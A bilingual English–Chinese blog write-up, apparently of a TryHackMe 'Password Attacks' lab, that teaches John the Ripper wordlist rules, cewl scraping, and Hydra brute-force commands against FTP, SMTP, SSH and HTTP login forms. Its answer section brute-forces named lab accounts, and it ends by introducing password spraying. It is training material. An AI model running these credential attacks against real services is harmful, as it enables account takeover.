&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;-a 3 为暴力破解模式    -m 0 为md5模式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Offline Attacks -&lt;/h1&gt;
&lt;h3&gt;Rule-Based attacks 基于规则的攻击&lt;/h3&gt;
&lt;p&gt;Rule-Based attacks are also known as hybrid attacks. Rule-Based attacks assume the attacker knows something about the password policy. Rules are applied to create passwords within the guidelines of the given password policy and should, in theory, only generate valid passwords. Using pre-existing wordlists may be useful when generating passwords that fit a policy — for example, manipulating or &amp;#39;mangling&amp;#39; a password such as &amp;#39;password&amp;#39;: p@ssword, Pa$$word, Passw0rd, and so on.&lt;br&gt;基于规则的攻击也称为混合攻击。基于规则的攻击假定攻击者对密码策略有所了解。规则应用于在给定密码策略的准则内创建密码，理论上应仅生成有效密码。在生成符合策略的密码时，使用预先存在的单词列表可能很有用，例如，操作或“篡改”密码（如“password”：p@ssword、Pa$$wordPassw 0rd 等）。&lt;/p&gt;
&lt;p&gt;For this attack, we can expand our wordlist using either hashcat or John the ripper. However, for this attack, let&amp;#39;s see how John the ripper works. Usually, John the ripper has a config file that contains rule sets, which is located at /etc/john/john.conf or /opt/john/john.conf depending on your distro or how john was installed. You can read /etc/john/john.conf and look for List.Rules to see all the available rules:&lt;br&gt;对于这种攻击，我们可以使用 hashcat 或开膛手约翰来扩展我们的单词列表。但是，对于这次攻击，让我们看看开膛手约翰是如何工作的。通常，开膛手约翰有一个包含规则集的配置文件，它位于 /etc/john/john.conf 或 /opt/john/john.conf，具体取决于您的发行版或 john 的安装方式。您可以阅读 /etc/john/john.conf 并查找 List.Rules 以查看所有可用的规则：&lt;/p&gt;
&lt;p&gt;Rule-based attack 基于规则的攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ cat /etc/john/john.conf|grep &amp;quot;List.Rules:&amp;quot; | cut -d&amp;quot;.&amp;quot; -f3 | cut -d&amp;quot;:&amp;quot; -f2 | cut -d&amp;quot;]&amp;quot; -f1 | awk NF
JumboSingle
o1
o2
i1
i2
o1
i1
o2
i2
best64
d3ad0ne
dive
InsidePro
T0XlC
rockyou-30000
specific
ShiftToggle
Split
Single
Extra
OldOffice
Single-Extra
Wordlist
ShiftToggle
Multiword
best64
Jumbo
KoreLogic
T9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see that we have many rules that are available for us to use. We will create a wordlist with only one password containing the string tryhackme, to see how we can expand the wordlist. Let&amp;#39;s choose one of the rules, the best64 rule, which contains the best 64 built-in John rules, and see what it can do!&lt;br&gt;我们可以看到，我们有许多规则可供我们使用。我们将创建一个只有一个包含字符串 tryhackme 的密码的单词列表，看看我们如何扩展单词列表。让我们选择其中一条规则，best64 规则，其中包含最好的 64 条内置 John 规则，看看它能做什么！&lt;/p&gt;
&lt;p&gt;Rule-based attack 基于规则的攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
Using default input encoding: UTF-8
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
76p 0:00:00:00 100.00% (2021-10-11 13:42) 1266p/s pordpo
76
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;--wordlist= to specify the wordlist or dictionary file.&lt;br&gt;--wordlist= 指定 wordlist 或词典文件。 &lt;/p&gt;
&lt;p&gt;--rules to specify which rule or rules to use.&lt;br&gt;--rules 指定要使用的规则。&lt;/p&gt;
&lt;p&gt;--stdout to print the output to the terminal.&lt;br&gt;--stdout 将输出打印到终端。&lt;/p&gt;
&lt;p&gt;|wc -l  to count how many lines John produced&lt;br&gt;|wc -l 来计算 John 生产了多少行.&lt;/p&gt;
&lt;p&gt;By running the previous command, we expand our password list from 1 to 76 passwords. Now let&amp;#39;s check another rule, one of the best rules in John, KoreLogic. KoreLogic uses various built-in and custom rules to generate complex password lists. For more information, please visit this website &lt;a href=&quot;https://contest-2010.korelogic.com/rules.html&quot;&gt;here&lt;/a&gt;. Now let&amp;#39;s use this rule and check whether the Tryh@ckm3 is available in our list!&lt;br&gt;通过运行上一个命令，我们将密码列表从 1 个扩展到 76 个密码。现在让我们检查另一条规则，这是 John 中最好的规则之一，KoreLogicKoreLogic 使用各种内置和自定义规则来生成复杂的密码列表。欲了解更多信息，请访问本网站。现在让我们使用此规则并检查我们的列表中是否有Tryh@ckm3可用！&lt;/p&gt;
&lt;p&gt;Rule-based attack 基于规则的攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ john --wordlist=single-password-list.txt --rules=KoreLogic --stdout |grep &amp;quot;Tryh@ckm3&amp;quot;
Using default input encoding: UTF-8
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
Tryh@ckm3
7089833p 0:00:00:02 100.00% (2021-10-11 13:56) 3016Kp/s tryhackme999999
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output from the previous command shows that our list has the complex version of tryhackme, which is Tryh@ckm3. Finally, we recommend checking out all the rules and finding one that works the best for you. Many rules apply combinations to an existing wordlist and expand the wordlist to increase the chance of finding a valid password!&lt;br&gt;上一个命令的输出显示，我们的列表具有 tryhackme 的复杂版本，即 Tryh@ckm3。最后，我们建议您查看所有规则并找到最适合您的规则。许多规则将组合应用于现有单词列表并扩展单词列表以增加找到有效密码的机会！&lt;/p&gt;
&lt;h3&gt;Custom Rules 自定义规则&lt;/h3&gt;
&lt;p&gt;John the ripper has a lot to offer. For instance, we can build our own rule(s) and use it at run time while john is cracking the hash or use the rule to build a custom wordlist!&lt;br&gt;开膛手约翰有很多东西可以提供。例如，我们可以构建自己的规则，并在 john 破解哈希值时在运行时使用它，或者使用该规则构建自定义单词列表！&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s say we wanted to create a custom wordlist from a pre-existing dictionary with custom modification to the original dictionary. The goal is to add special characters (ex: !@#$&lt;em&gt;&amp;amp;) to the beginning of each word and add numbers 0-9 at the end. The format will be as follows:&lt;br&gt;假设我们想从预先存在的词典创建一个自定义单词表，并对原始词典进行自定义修改。目标是在每个单词的开头添加特殊字符（例如：！@#$&lt;/em&gt;&amp;amp;），并在末尾添加数字 0-9。格式如下：&lt;/p&gt;
&lt;p&gt;[symbols]word[0-9] [符号]字[0-9]&lt;/p&gt;
&lt;p&gt;We can add our rule to the end of john.conf&lt;br&gt;我们可以将我们的规则添加到 john.conf 的末尾:&lt;/p&gt;
&lt;p&gt;John Rules 约翰规则&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ sudo vi /etc/john/john.conf 
[List.Rules:THM-Password-Attacks] 
Az&amp;quot;[0-9]&amp;quot; ^[!@#$]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[List.Rules:&lt;u&gt;THM&lt;/u&gt;-Password-Attacks]  specify the rule name &lt;u&gt;THM&lt;/u&gt;-Password-Attacks.&lt;br&gt;[List.Rules：THM-Password-Attacks]指定规则名称 THM-Password-Attacks。&lt;/p&gt;
&lt;p&gt;Az represents a single word from the original wordlist/dictionary using -p&lt;br&gt;Az 表示原始单词表/字典中的单个单词 using-p.&lt;/p&gt;
&lt;p&gt;&amp;quot;[0-9]&amp;quot; append a single digit (from 0 to 9) to the end of the word. For two digits, we can add &amp;quot;[0-9][0-9]&amp;quot;  and so on.&lt;br&gt;“[0-9]”在单词末尾附加一位数字（从 0 到 9）。对于两位数字，我们可以添加“[0-9][0-9]”等。 &lt;/p&gt;
&lt;p&gt;^[!@#$] add a special character at the beginning of each word. ^ means the beginning of the line/word. Note, changing ^ to $ will append the special characters to the end of the line/word.&lt;br&gt;^[！@#$] 在每个单词的开头添加一个特殊字符。^ 表示行/单词的开头。请注意，将 ^ 更改为 $ 会将特殊字符附加到行/字的末尾。&lt;/p&gt;
&lt;p&gt;Now let&amp;#39;s create a file containing a single word password to see how we can expand our wordlist using this rule.&lt;br&gt;现在，让我们创建一个包含单个单词密码的文件，看看如何使用此规则扩展单词列表。&lt;/p&gt;
&lt;p&gt;John Rules 约翰规则&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ echo &amp;quot;password&amp;quot; &amp;gt; /tmp/single.lst
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We include the name of the rule we created in the John command using the --rules option. We also need to show the result in the terminal. We can do this by using --stdout as follows:&lt;br&gt;我们使用 --rules 选项在 John 命令中包含我们创建的规则的名称。我们还需要在终端中显示结果。我们可以使用 --stdout 来做到这一点，如下所示：&lt;/p&gt;
&lt;p&gt;John Rules 约翰规则&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout 
Using default input encoding: UTF-8 
!password0 
@password0 
#password0 
$password0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Deploy the attached &lt;u&gt;VM&lt;/u&gt; to apply the knowledge we discussed in this room. The attached &lt;u&gt;VM&lt;/u&gt; has various online services to perform password attacks on. Custom wordlists are needed to find valid credentials.&lt;br&gt;部署附加的 VM 以应用我们在此会议室中讨论的知识。附加的 VM 具有各种联机服务，可对其执行密码攻击。需要自定义单词列表来查找有效的凭据。&lt;/p&gt;
&lt;p&gt;We recommend using &lt;a href=&quot;https://clinic.thmredteam.com/&quot;&gt;https://clinic.thmredteam.com/&lt;/a&gt; to create your custom wordlist.&lt;br&gt;我们建议使用 &lt;a href=&quot;https://clinic.thmredteam.com/&quot;&gt;https://clinic.thmredteam.com/&lt;/a&gt; 创建自定义单词列表。&lt;/p&gt;
&lt;p&gt;To generate your wordlist using cewl against the website:&lt;br&gt;要针对网站使用 cewl 生成您的单词列表：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that you will also need to generate a username wordlist as shown in Task 3: Password Profiling #1 for the online attack questions.&lt;br&gt;请注意，您还需要为在线攻击问题生成一个用户名单词列表，如任务 3：密码分析 #1 中所示。&lt;/p&gt;
&lt;h1&gt;Online password attacks&lt;/h1&gt;
&lt;p&gt;Online password attacks involve guessing passwords for networked services that use a username and password authentication scheme, including services such as HTTP, SSH, VNC, FTP, SNMP, POP3, etc. This section showcases using hydra which is a common tool used in attacking logins for various network services.&lt;br&gt;在线密码攻击涉及猜测使用用户名和密码身份验证方案的网络服务的密码，包括 HTTP、SSH、VNC、FTP、SNMP、POP3 等服务。本节介绍如何使用 hydra，hydra 是用于攻击各种网络服务登录的常用工具。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;Hydra&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;水螅&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;Hydra supports an extensive list of network services to attack. Using hydra, we&amp;#39;ll brute-force network services such as web login pages, FTP, SMTP, and SSH in this section. Often, within hydra, each service has its own options and the syntax hydra expects takes getting used to. It&amp;#39;s important to check the help options for more information and features.&lt;br&gt;Hydra 支持广泛的网络服务攻击列表。在本节中，我们将使用 hydra 暴力破解网络服务，例如 Web 登录页面、FTP、SMTP 和 SSH。通常，在 hydra 中，每个服务都有自己的选项，并且 hydra 期望的语法需要习惯。请务必查看帮助选项以获取更多信息和功能。  &lt;/p&gt;
&lt;p&gt;&lt;u&gt;FTP&lt;/u&gt;  &lt;/p&gt;
&lt;p&gt;In the following scenario, we will perform a brute-force attack against an &lt;u&gt;FTP&lt;/u&gt; server. By checking the hydra help options, we know the syntax of attacking the &lt;u&gt;FTP&lt;/u&gt; server is as follows:&lt;br&gt;在以下场景中，我们将对 FTP 服务器执行暴力攻击。通过查看hydra帮助选项，我们知道攻击FTP服务器的语法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hydra -l ftp -P passlist.txt ftp://10.10.x.x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-l ftp we are specifying a single username, use-L for a username wordlist&lt;br&gt;-l ftp 我们指定一个用户名，use-L 表示用户名单词表&lt;/p&gt;
&lt;p&gt;-P Path specifying the full path of wordlist, you can specify a single password by using -p&lt;br&gt;-P Path 指定 wordlist 的完整路径，可以使用 -p 指定单个密码.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;ftp://10.10.x.x/&quot;&gt;ftp://10.10.x.x&lt;/a&gt; the protocol and the IP address or the fully qualified domain name (FDQN) of the target.&lt;br&gt;&lt;a href=&quot;ftp://10.10.x.x/&quot;&gt;ftp://10.10.x.x&lt;/a&gt; 协议和目标的 IP 地址或完全限定域名 （FDQN）。&lt;/p&gt;
&lt;p&gt;Remember that sometimes you don&amp;#39;t need to brute-force and could first try default credentials. Try to attack the FTP server on the attached &lt;u&gt;VM&lt;/u&gt; and answer the question below.&lt;br&gt;请记住，有时您不需要暴力破解，可以先尝试默认凭据。尝试攻击连接的 VM 上的 FTP 服务器并回答以下问题。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;SMTP&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;SMTP的&lt;/u&gt;  &lt;/p&gt;
&lt;p&gt;Similar to FTP servers, we can also brute-force &lt;u&gt;SMTP&lt;/u&gt; servers using hydra. The syntax is similar to the previous example. The only difference is the targeted protocol. Keep in mind, if you want to try other online password attack tools, you may need to specify the port number, which is 25. Make sure to read the help options of the tool.&lt;br&gt;与FTP服务器类似，我们也可以使用hydra暴力破解SMTP服务器。语法与前面的示例类似。唯一的区别是目标协议。请记住，如果您想尝试其他在线密码攻击工具，您可能需要指定端口号，即 25。请务必阅读该工具的帮助选项。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v 
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-13 03:41:08
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking smtp://10.10.x.x:25/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[25][smtp] host: 10.10.x.x   login: email@company.xyz password: xxxxxxxx
[STATUS] attack finished for 10.10.x.x (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;u&gt;SSH&lt;/u&gt;  &lt;/p&gt;
&lt;p&gt;SSH brute-forcing can be common if your server is accessible to the Internet. Hydra supports many protocols, including SSH. We can use the previous syntax to perform our attack! It&amp;#39;s important to notice that password attacks rely on having an excellent wordlist to increase your chances of finding a valid username and password.&lt;br&gt;如果您的服务器可通过 Internet 访问，则 SSH 暴力破解可能很常见。Hydra 支持许多协议，包括 SSH。我们可以使用前面的语法来执行我们的攻击！重要的是要注意，密码攻击依赖于拥有出色的单词列表来增加您找到有效用户名和密码的机会。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v
 
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-13 03:48:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task
[DATA] attacking ssh://10.10.x.x:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://user@10.10.x.x:22
[INFO] Successful, password authentication is supported by ssh://10.10.x.x:22
[22][ssh] host: 10.10.x.x   login: victim   password: xxxxxxxx
[STATUS] attack finished for 10.10.x.x (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;u&gt;HTTP&lt;/u&gt; login pages HTTP 登录页面&lt;/p&gt;
&lt;p&gt;In this scenario, we will brute-force &lt;u&gt;HTTP&lt;/u&gt; login pages. To do that, first, you need to understand what you are brute-forcing. Using hydra, it is important to specify the type of HTTP request, whether GET or POST. Checking hydra options: hydra http-get-form -U, we can see that hydra has the following syntax for the http-get-form option:&lt;br&gt;在这种情况下，我们将暴力破解 HTTP 登录页面。要做到这一点，首先，你需要了解你在暴力破解什么。使用 hydra，指定 HTTP 请求的类型很重要，无论是 GET 还是 POST。 检查 hydra 选项：hydra http-get-form -U，我们可以看到 hydra 对 http-get-form 选项的语法如下：&lt;/p&gt;
&lt;p&gt;&lt;url&gt;:&lt;form parameters&gt;:&lt;condition string&gt;[:&lt;optional&gt;[:&lt;optional&gt;]&lt;br&gt;&lt;url&gt;：&amp;lt;表单参数&amp;gt;：&amp;lt;条件字符串&amp;gt;[：&lt;optional&gt;[：&lt;optional&gt;]&lt;/p&gt;
&lt;p&gt;As we mentioned earlier, we need to analyze the &lt;u&gt;HTTP&lt;/u&gt; request that we need to send, and that could be done either by using your browser dev tools or using a web proxy such as &lt;u&gt;Burp Suite&lt;/u&gt;.&lt;br&gt;正如我们之前提到的，我们需要分析需要发送的 HTTP 请求，这可以通过使用浏览器开发工具或使用 Web 代理（如 Burp Suite）来完成。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form &amp;quot;/login-get/index.php:username=^USER^&amp;amp;password=^PASS^:S=logout.php&amp;quot; -f 
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 

Hydra (http://www.thc.org/thc-hydra) starting at 2021-10-13 08:06:22 
[DATA] max 16 tasks per 1 server, overall 16 tasks, 500 login tries (l:1/p:500), ~32 tries per task 
[DATA] attacking http-get-form://10.10.x.x:80//login-get/index.php:username=^USER^&amp;amp;password=^PASS^:S=logout.php 
[80][http-get-form] host: 10.10.x.x   login: admin password: xxxxxx 
1 of 1 target successfully completed, 1 valid password found 
Hydra (http://www.thc.org/thc-hydra) 
finished at 2021-10-13 08:06:45
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-l admin  we are specifying a single username, use-L for a username wordlist&lt;br&gt;-l admin 我们指定一个用户名，use-L 表示用户名单词列表&lt;/p&gt;
&lt;p&gt;-P Path specifying the full path of wordlist, you can specify a single password by using -p&lt;br&gt;-P Path 指定 wordlist 的完整路径，可以使用 -p 指定单个密码.&lt;/p&gt;
&lt;p&gt;10.10.x.x the IP address or the fully qualified domain name (FQDN) of the target.&lt;br&gt;10.10.x.x 目标的 IP 地址或完全限定域名 （FQDN）。&lt;/p&gt;
&lt;p&gt;http-get-form the type of HTTP request, which can be either http-get-form or http-post-form&lt;br&gt;http-get-form HTTP 请求的类型，可以是 http-get-form 或 http-post-form.&lt;/p&gt;
&lt;p&gt;Next, we specify the URL, path, and conditions that are split using :&lt;br&gt;接下来，我们指定使用以下方法拆分的 URL、路径和条件：&lt;/p&gt;
&lt;p&gt;login-get/index.php the path of the login page on the target webserver.&lt;br&gt;login-get/index.php目标 Web 服务器上登录页面的路径。&lt;/p&gt;
&lt;p&gt;username=^USER^&amp;amp;password=^PASS^ the parameters to brute-force, we inject ^USER^ to brute force usernames and ^PASS^ for passwords from the specified dictionary.&lt;br&gt;username=^USER^&amp;amp;password=^PASS^ 参数进行暴力破解，我们注入^USER^来暴力破解用户名，^PASS^ 用于指定字典中的密码。&lt;/p&gt;
&lt;p&gt;The following section is important to eliminate false positives by specifying the &amp;#39;failed&amp;#39; condition with F=&lt;br&gt;以下部分对于通过指定 F= 的“失败”条件来消除误报非常重要.&lt;/p&gt;
&lt;p&gt;And success conditions, S=. You will have more information about these conditions by analyzing the webpage or in the enumeration stage! What you set for these values depends on the response you receive back from the server for a failed login attempt and a successful login attempt. For example, if you receive a message on the webpage &amp;#39;Invalid password&amp;#39; after a failed login, set F=Invalid Password&lt;br&gt;和成功条件，S=。通过分析网页或在枚举阶段，您将获得有关这些条件的更多信息！为这些值设置的内容取决于您从服务器收到的登录尝试失败和登录尝试成功的响应。例如，如果登录失败后在网页上收到“密码无效”消息，请设置 F=无效密码.&lt;/p&gt;
&lt;p&gt;Or for example, during the enumeration, we found that the webserver serves logout.php. After logging into the login page with valid credentials, we could guess that we will have logout.php somewhere on the page. Therefore, we could tell hydra to look for the text logout.php within the HTML for every request.&lt;br&gt;或者，例如，在枚举过程中，我们发现 Web 服务器提供logout.php服务。使用有效凭据登录登录页面后，我们可以猜测我们将在页面上的某个地方logout.php。因此，我们可以告诉 hydra 在 HTML 中查找每个请求的文本logout.php。&lt;/p&gt;
&lt;p&gt;S=logout.php the success condition to identify the valid credentials&lt;br&gt;S=logout.php成功条件以识别有效凭据&lt;/p&gt;
&lt;p&gt;-f to stop the brute-forcing attacks after finding a valid username and password&lt;br&gt;-f 在找到有效的用户名和密码后停止暴力破解攻击&lt;/p&gt;
&lt;p&gt;You can try it out on the attached VM by visiting &lt;a href=&quot;http://MACHINE_IP/login-get/index.php&quot;&gt;http://MACHINE_IP/login-get/index.php&lt;/a&gt;. Make sure to deploy the attached &lt;u&gt;VM&lt;/u&gt; if you haven&amp;#39;t already to answer the questions below.&lt;br&gt;可以通过访问 http：//MACHINE_IP/login-get/index.php 在附加的 VM 上试用它。如果尚未回答以下问题，请确保部署附加的 VM。&lt;/p&gt;
&lt;p&gt;Finally, it is worth it to check other online password attacks tools to expand your knowledge, such as:&lt;br&gt;最后，值得检查其他在线密码攻击工具以扩展您的知识，例如：  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Medusa 水母&lt;/li&gt;
&lt;li&gt;Ncrack 啧&lt;/li&gt;
&lt;li&gt;others! 别人！&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;答题&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FTP匿名访问&lt;/p&gt;
&lt;p&gt;ftp 10.10.173.46&lt;/p&gt;
&lt;p&gt;anonymous&lt;/p&gt;
&lt;p&gt;get flag.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在john配置文件中添加自定义规则**[symbol][dictionary word][0-9][0-9]&lt;strong&gt;，其中&lt;/strong&gt;[symbol]=[!@]**，要添加的具体内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo vim /etc/john/john.conf
#密码规则的所在的行数是696行~ 1240行。
#在配置文件内容的696行以后寻找添加位置即可
[List.Rules:THM-Password-Online]      #自定义名称
Az&amp;quot;[0-9][0-9]&amp;quot; ^[!@]
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;基于上文所生成的字典文件(第七小节)&lt;strong&gt;clinic.lst&lt;/strong&gt;，应用刚才添加的john规则进行扩展：&lt;/p&gt;
&lt;p&gt;john --wordlist=clinic.lst --rules=THM-Password-Online --stdout | &amp;gt; thmpass.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用扩展之后的字典，攻击目标机器的SMTPS服务(已知电子邮件地址-&lt;strong&gt;&lt;a href=&quot;mailto:pittman@clinic.thmredteam.com&quot;&gt;pittman@clinic.thmredteam.com&lt;/a&gt;&lt;/strong&gt;；SMTPS服务端口号-&lt;strong&gt;465&lt;/strong&gt;)：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#SMTPS是指简单邮件传输协议(基于SMTP添加了SSL安全套接层)
#目标email地址为：pittman@clinic.thmredteam.com；对应了我们在上文中使用cewl针对https://clinic.thmredteam.com/来爬取关键词并生成字典文件。

hydra -l pittman@clinic.thmredteam.com -P thmpass.txt smtps://10.10.76.160
#注意要指定smtps协议
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Perform a brute-forcing attack against the phillips account for the login page at &lt;a href=&quot;http://10.10.76.160/login-get&quot;&gt;http://10.10.76.160/login-get&lt;/a&gt; using hydra? &lt;strong&gt;What is the flag?&lt;/strong&gt;&lt;br&gt;对登录页面的菲利普斯帐户执行暴力破解攻击 at&lt;a href=&quot;http://10.10.76.160/login-get&quot;&gt;http://10.10.76.160/login-get&lt;/a&gt; 使用 hydra？什么是旗帜？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hydra -l phillips -P clinic.lst 10.10.76.160 http-get-form &amp;quot;/login-get/index.php:username=^USER^&amp;amp;password=^PASS^:S=logout.php&amp;quot; -f

#正确条件为：S=logout.php (这是根据本小节的示例得知的)
#错误条件为：F=Login failed! (针对其中的“!”符号进行url编码,该条件可通过失败的登录提示得知)——&amp;gt;Login failed%21 ，但是使用错误条件得到了多个无效密码！
#F=Login%20failed%21
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Perform a rule-based password attack to gain access to the burgess account. Find the flag at the following website: &lt;a href=&quot;http://10.10.76.160/login-post/&quot;&gt;http://10.10.76.160/login-post/&lt;/a&gt;. &lt;strong&gt;What is the flag?&lt;/strong&gt;&lt;br&gt;执行基于规则的密码攻击以获取对 burgess 帐户的访问权限。在以下网站找到该标志：http：//10.10.76.160/login-post/。什么是旗帜？&lt;/p&gt;
&lt;p&gt;我们先使用john的&lt;strong&gt;Single-Extra&lt;/strong&gt;规则扩展&lt;strong&gt;clinic.lst&lt;/strong&gt;字典文件，再针对HTTP登录页面&lt;strong&gt;&lt;a href=&quot;http://10.10.65.73/login-post/**%E8%BF%9B%E8%A1%8C%E6%9A%B4%E5%8A%9B%E6%94%BB%E5%87%BB%EF%BC%8C%E5%B7%B2%E7%9F%A5%E6%9C%89%E6%95%88%E7%94%A8%E6%88%B7%E5%90%8D%E4%B8%BA**burgess&quot;&gt;http://10.10.65.73/login-post/**进行暴力攻击，已知有效用户名为**burgess&lt;/a&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#基于clinic.lst进行扩展以生成新的字典文件
john --wordlist=clinic.lst --rules=Single-Extra --stdout | &amp;gt; POSTpass.txt

hydra -l burgess -P POSTpass.txt 10.10.76.160 http-post-form &amp;quot;/login-post/index.php:username=^USER^&amp;amp;password=^PASS^:S=logout.php&amp;quot; -f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Password spray attack&lt;/h1&gt;
&lt;p&gt;This task will teach the fundamentals of a password spraying attack and the tools needed to perform various attack scenarios against common online services.&lt;br&gt;此任务将教授密码喷射攻击的基础知识以及针对常见在线服务执行各种攻击方案所需的工具。&lt;/p&gt;
&lt;p&gt;Password Spraying is an effective technique used to identify valid credentials. Nowadays, password spraying is considered one of the common password attacks for discovering weak passwords. This technique can be used against various online services and authentication systems, such as SSH, SMB, RDP, &lt;u&gt;SMTP&lt;/u&gt;, Outlook Web Application, etc. A brute-force attack targets a specific username to try many weak and predictable passwords. While a password spraying attack targets many usernames using one common weak password, which could help avoid an account lockout policy. The following figure explains the concept of password spraying attacks where the attacker utilizes one common password against multiple users.&lt;br&gt;密码喷射是一种用于识别有效凭据的有效技术。如今，密码喷射被认为是发现弱密码的常见密码攻击之一。此技术可用于各种联机服务和身份验证系统，例如 SSH、SMB、RDP、SMTP、Outlook Web 应用程序等。暴力攻击以特定用户名为目标，以尝试许多弱且可预测的密码。虽然密码喷射攻击使用一个常见的弱密码针对多个用户名，但这有助于避免帐户锁定策略。下图解释了密码喷射攻击的概念，其中攻击者使用一个通用密码来对付多个用户。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-17.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
